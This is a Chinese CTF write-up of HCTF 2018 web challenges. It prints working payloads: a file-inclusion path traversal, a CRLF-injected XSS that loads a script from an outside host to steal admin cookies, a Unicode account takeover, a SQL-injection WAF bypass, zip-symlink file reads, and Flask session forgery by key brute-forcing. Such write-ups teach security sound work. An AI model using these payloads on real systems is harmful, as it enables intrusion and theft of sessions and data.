热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

HCTF2018WebWrtieUp

划了一波HCTF2018,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。得到Flag位置的提示:

划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。

Warmup

得到Flag位置的提示:

flag not here, and flag in ffffllllaaaagggg

网页源码提示source.php,访问显示源码:

"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";     }   ?>

这个就是 phpMyAdmin-4-8-x-Authorited-CLI-to-RCE 漏洞的代码,构造Payload如下:

http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

Flag为: hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

bottle

描述

Not hard, I believe you are the lucky one!

hint1: */3 */10 

hint2: bot use firefoxDriver

解题

bottle 是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。

path参数为注入点,输出点为响应中的Location,构造Xss的Poc

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d

HCTF 2018 Web WrtieUp

发送给admin,打COOKIE:

HCTF 2018 Web WrtieUp

但是这里存在一个问题,响应是302跳转,我们注入的XssPayload作为实体不会被浏览器解析,根据hint2: bot use firefoxDriver,让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。

不是很清楚bot是否会补全基本的html标签,所以手动添加一对body,Poc如下

http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e

HCTF 2018 Web WrtieUp

参考p老板链接: https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

admin

网页源码中找到源码链接:

https://github.com/woadsl1234/hctf_flask/

查看源码,得到一些信息

HCTF 2018 Web WrtieUp

.vscode/settings.json(开发环境 python 2.7)

{
    "python.pythonPath": "/usr/local/opt/python@2/bin/python2.7"
}

requirements.txt(安装库版本)

Flask==0.10.1
Werkzeug==0.10.4
Flask_Login==0.4.1
Twisted==10.2.0
Flask_SQLAlchemy==2.0
WTForms==2.2.1
Flask_Migrate==2.2.1
Flask_WTF==0.14.2
Pillow==5.3.0
pymysql==0.9.2

模板中看到当session['name'] == 'admin'时打印Flag。

{% include('header.html') %}
{% if current_user.is_authenticated %}
Hello {{ session['name'] }}
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
hctf{xxxxxxxxx}
{% endif %}

Welcome to hctf
{% include('footer.html') %}

关键代码:

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
def strlower(username):
    username = nodeprep.prepare(username)
    return username
  • login函数,使用form.username.data获取表单内容,这是一个unicode对象,Twisted的版本小于11,并且使用封装nodeprep.prepare的strlower()处理form.username.data存入session['name']。

  • change函数,再次使用strlower()处理unicode对象session['name']。

参考 此篇文章 可以完成低版本Twisted处理unicode堆在存在的幂等性攻击。(PS:Python版本大于等于2.5)

注册一个ᴬdmin账号,登陆ᴬdmin,调用一次strlower(),此时session['name']变成Admin的unicode对象。

HCTF 2018 Web WrtieUp

修改账号密码,调用一次strlower(),变成admin,已经修改了admin的密码了。

重新登陆admin,看到flag。

HCTF 2018 Web WrtieUp

kzone

扫描获取题目的源码

http://kzone.2018.hctf.io/www.zip

发现问题文件member.php,COOKIE中的login_data存在注入漏洞

get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        if ($udata['username'] == '') {
            setCOOKIE("islogin", "", time() - 604800);
            setCOOKIE("login_data", "", time() - 604800);
        }
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $login_data['admin_pass']) {
            $islogin = 1;
        } else {
            setCOOKIE("islogin", "", time() - 604800);
            setCOOKIE("login_data", "", time() - 604800);
        }
    }
}
if (isset($_SESSION['islogin'])) {
    if ($_SESSION["admin_user"]) {
        $admin_user = base64_decode($_SESSION['admin_user']);
        $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
        $admin_pass = sha1($udata['password'] . LOGIN_KEY);
        if ($admin_pass == $_SESSION["admin_pass"]) {
            $islogin = 1;
        }
    }
}
?>

但是有个基于黑名单的软waf

|\#|\s/i';
    return preg_replace_callback($blacklist, function ($match) {
        return '@' . $match[0] . '@';
    }, $string);
}

没有其他的难点,这里同样要利用unicode绕过waf,满足unicode编码格式的字符在经过json_decode函数后会被解析。

比如传入\u006f后,会被解析成o。

 string(1) "o" }

延时test语句,绕过waf。

login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}

最后盲注即可,渣代码脚本就不贴了。

hide and seek

注册用户,登陆后可以上传zip文件,利用zip软连接读取文件。

读取/proc/self/environ得到。

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHOnPATH=/appUWSGI_RELOADS=0

读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源码。

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'
    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)
if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

可以发现源码中并没有flag的获取方式。

读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html源码

Hello, {{ user }}. 

{% if user == 'admin' %} Your flag: 
{{ flag  }}

发现当满足条件后就会打印输出flag,此时我们就需要获得admin的session。

flask的session是本地进行存储的,并且通过了SECRET_KEY进行加密的,得到秘钥就能伪造admin的session。

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

秘钥的生成是通过伪随机数进行生成,种子是通过uuid.getnode()获取的mac地址的十进制,是固定的,我们知道mac地址就能够预测SECRET_KEY。

读取/sys/class/net/eth0/address获取mac地址12:34:3e:14:7c:62,转化十进制20015589129314。

使用 github上的脚本 进行解密自己的flask的session,根据结果判断秘钥是否正确.

import random
import os
random.seed(int(20015589129314))
for x in range(1000):
    SECRET_KEY = str(random.random() * 100)
    cmd = '''python session_COOKIE_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY)
    rs = os.popen(cmd).read()
    if ('error' not in rs):
        print(SECRET_KEY)
        exit()

SECRET_KEY为11.935137566861131,加密得到admin的session。(注意使用unicode形式的变量)

python session_COOKIE_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}"
#eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0

成功登录等到flag:

HCTF 2018 Web WrtieUp


以上所述就是小编给大家介绍的《HCTF 2018 Web WrtieUp》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 我们 的支持!


推荐阅读
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • PHP图片截取方法及应用实例
    本文介绍了使用PHP动态切割JPEG图片的方法,并提供了应用实例,包括截取视频图、提取文章内容中的图片地址、裁切图片等问题。详细介绍了相关的PHP函数和参数的使用,以及图片切割的具体步骤。同时,还提供了一些注意事项和优化建议。通过本文的学习,读者可以掌握PHP图片截取的技巧,实现自己的需求。 ... [详细]
  • javascript  – 概述在Firefox上无法正常工作
    我试图提出一些自定义大纲,以达到一些Web可访问性建议.但我不能用Firefox制作.这就是它在Chrome上的外观:而那个图标实际上是一个锚点.在Firefox上,它只概述了整个 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • python中安装并使用redis相关的知识
    本文介绍了在python中安装并使用redis的相关知识,包括redis的数据缓存系统和支持的数据类型,以及在pycharm中安装redis模块和常用的字符串操作。 ... [详细]
  • 本文介绍了利用ARMA模型对平稳非白噪声序列进行建模的步骤及代码实现。首先对观察值序列进行样本自相关系数和样本偏自相关系数的计算,然后根据这些系数的性质选择适当的ARMA模型进行拟合,并估计模型中的位置参数。接着进行模型的有效性检验,如果不通过则重新选择模型再拟合,如果通过则进行模型优化。最后利用拟合模型预测序列的未来走势。文章还介绍了绘制时序图、平稳性检验、白噪声检验、确定ARMA阶数和预测未来走势的代码实现。 ... [详细]
  • 本文介绍了在Python3中如何使用选择文件对话框的格式打开和保存图片的方法。通过使用tkinter库中的filedialog模块的asksaveasfilename和askopenfilename函数,可以方便地选择要打开或保存的图片文件,并进行相关操作。具体的代码示例和操作步骤也被提供。 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • Java实战之电影在线观看系统的实现
    本文介绍了Java实战之电影在线观看系统的实现过程。首先对项目进行了简述,然后展示了系统的效果图。接着介绍了系统的核心代码,包括后台用户管理控制器、电影管理控制器和前台电影控制器。最后对项目的环境配置和使用的技术进行了说明,包括JSP、Spring、SpringMVC、MyBatis、html、css、JavaScript、JQuery、Ajax、layui和maven等。 ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • python限制递归次数(python最大公约数递归)
    本文目录一览:1、python为什么要进行递归限制 ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
  • 本文整理了Java中com.evernote.android.job.JobRequest.getTransientExtras()方法的一些代码示例,展示了 ... [详细]
  • 本文介绍了在Ubuntu 11.10 x64环境下安装Android开发环境的步骤,并提供了解决常见问题的方法。其中包括安装Eclipse的ADT插件、解决缺少GEF插件的问题以及解决无法找到'userdata.img'文件的问题。此外,还提供了相关插件和系统镜像的下载链接。 ... [详细]
author-avatar
恨透这一切_249
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有